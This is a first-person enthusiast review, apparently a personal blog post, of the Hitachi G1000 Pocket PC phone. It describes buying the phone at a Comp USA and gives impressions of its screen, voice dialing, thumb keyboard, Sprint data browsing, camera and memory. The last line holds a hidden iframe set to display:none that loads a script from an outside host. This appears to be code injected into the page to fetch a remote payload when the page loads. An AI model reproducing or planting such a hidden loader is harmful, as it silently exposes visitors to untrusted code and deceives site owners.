I walked in last evening and played back my answering machine. Suddenly, I heard 6 words that I’ll never forget: “Comp USA has the Hitachi G1000,” said my friend, who just saw them put on the shelf at the Comp USA in Fountain Valley, California. I took a deep breath, then screamed in excitement. After all, this is the phone I’ve been waiting for since last January, when first reading about it. I skipped feeding my golden retriever, Cody, who sensed the excitement on my face and hopped in the car with me.



Fifteen minutes later, there it was! It was staring at me straight in the face from behind the glass case. A Comp USA employee, who looked and acted like he hadn’t been educated past the third grade, told me that I can only get the phone if I activate a new account their and buy a TAP service plan with it. I immediately told him he was wrong and he confirmed his ignorance with the supervisor. Pretty soon, I had the box in my hand, headed into my car, and opened it like a kid opening a box of candy. The very first thing I noticed about the Hitachi G1000 was that it was not the huge, bulky thing everybody was making it out to be. The Hitachi G1000, which uses an Intel XScale PXA255 processor running at 400 MHz, is big for a phone and a little big for a pocket pc. If, like me, you’re someone who likes thumb keyboards, the size of this won’t matter. It can, with a little trouble, fit into your pocket. However, with the included case, it will snap easily on your belt.



After figuring out how to power the unit on, I was amazed about how good the screen looked. The Hitachi G1000 screen isn’t as bright as that of the Ipaq or Samsung I700, but its color saturation and contrast are perfect. If you are someone who likes viewing pictures, you know how important color saturation and contrast are to a screen. The Hitachi G1000 is the best picture viewing device yet for a pocket pc and the images are almost as crystal clear and unpixelated as those on the Sony NX70V Clie, a Palm OS model that has more screen resolution. I was equally impressed when I played movies on the G1000. However, playing games was not as impressive since the G1000 doesn’t have an included D-pad. Instead, different keys on the keyboard substitute for the missing D-pad.



It’s easy to forget, when first looking at the Hitachi G1000, is that it is also a phone. Just like the Samsung I700, the phone is integrated very well into the G1000 and the voice recognition software that is pre-installed is the best I’ve seen for any phone. All you need to do is import a name from your contacts list into the voice program, press the speaker button, say, “Dan McFly at home” or Jon Cain at work” and the software will automatically dial for you. When you are done, all you have to do is just say, “Goodbye!” and the phone automatically disconnects. For better accuracy, you could pronounce the name right after you import it, but I have found that I don’t have to do that for most names. You can talk on the phone and listen though the ear speaker, which is a little weak. If you don’t mind others listening to your conversation, you can put it into the speakerphone mode, which is great but not as clear as the speakerphone on the Samsung I700. Overall, the integrated phone and software is excellent. You may feel a little uncomfortable holding this PDA up to your ear at first, but eventually get used to it. The reception on the Hitachi G1000 is better than most Sprint phones, but not as good as the Sanyo models. I get two signal bars in my house, whereas I didn’t get any with the Samsung A500.

You can input the phone numbers with the thumb board, even though you have to press a number key at the same time. This is the most annoying thing about the thumb board, besides the fact that you also have to press the number key to input even the most common punctuation marks, such as periods and commas. It takes a little bit of getting used to. Besides this, and the fact that the keys don’t light up, the thumb board is impressive and worth the extra bulk it takes up on the model. The keys are easy to press and evenly spaced. I was able to type up a really fast email this morning and send it through Sprint’s PCS Vision service.



You will need Sprint’s PCS Vision service in order to do high speed Internet surfing. I am paying just $10 extra a month for unlimited data, which I share between the Hitachi G1000 and another phone. Using the included Microsoft Internet Explorer will leave you very frustrated since it renders and formats pages poorly. Bitstream’s Thunderhawk software, however, works flawlessly with the Hitachi G1000. Thunderhawk renders and formats pages so well that your web surfing experience is almost equal to that of a desktop or laptop. Bitstream provides a free 30 dial trial of the software and only charges $49 a year for their service afterwards. Anybody who has used Thunderhawk can tell you that this price is worth it. It’s unfortunate that the Hitachi G1000 will not get a Pocket PC 2003 Mobile Edition upgrade, since Internet Explorer on this just released operating system is almost perfect. The Pocket PC 2002 Phone Edition operating system works just fine on the Hitachi G1000, however.

If you geeks aren’t excited enough yet, the Hitachi G1000 also includes a 640 x 480 camera. You can see some of the pictures I’ve taken with the camera. Overall, this camera is great when you need to take a picture when least expecting it, but don’t expect this type of camera to replace your 2 or 3 megapixel digital camera. Also, you are going to have to constantly clean the lens because there is no lens cover and unlike the Samsung I700 camera, the lens doesn’t swivel all the way down so that it becomes hidden. This is definitely a mistake by Hitachi, but only those who bought the unit just for the camera (hope there won’t be any!) will be truly disappointed.

The following pictures were taken with the camera:





The fact that the Hitachi G1000 only has 32 MB of RAM will be a major disappointment for most people. This phone was obviously designed for the business user, who needs more than 32 MB RAM for his/her applications. Of course, one can always install programs and files on an SD card, since the G1000 has an SD slot that is perfectly placed on the left side of the unit. Unfortunately, programs run slower from the SD card than they do when running from main memory. Unlike that of the Samsung I700, the sd slot is not SDIO compatible. That will be a big disappointment for those who want to buy Bluetooth SD cards or the upcoming wi-fi SD card. Personally, I don’t think it’s that big of a deal. If I want to browse the internet, I don’t need wi-fi since I can use Sprints PCS Vision service and I’m not knowledgeable enough about Bluetooth to appreciate it’s capabilities. I’m sure there are others who would disagree.

Overall, the Hitachi G1000 is a geek’s dream come true. While not perfect, it comes closer than any other device in integrating a phone, beautiful screen, and entertainment. It is big, but not a “monster.” The naysayers who have predicted that this phone will flop for Sprint will soon be proven wrong.

Stay tuned, an indepth review at pdaPhoneHome will follow.

You can get to the G1000 FAQ page HERE (under construction) and the G1000 discussion forum HERE.<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>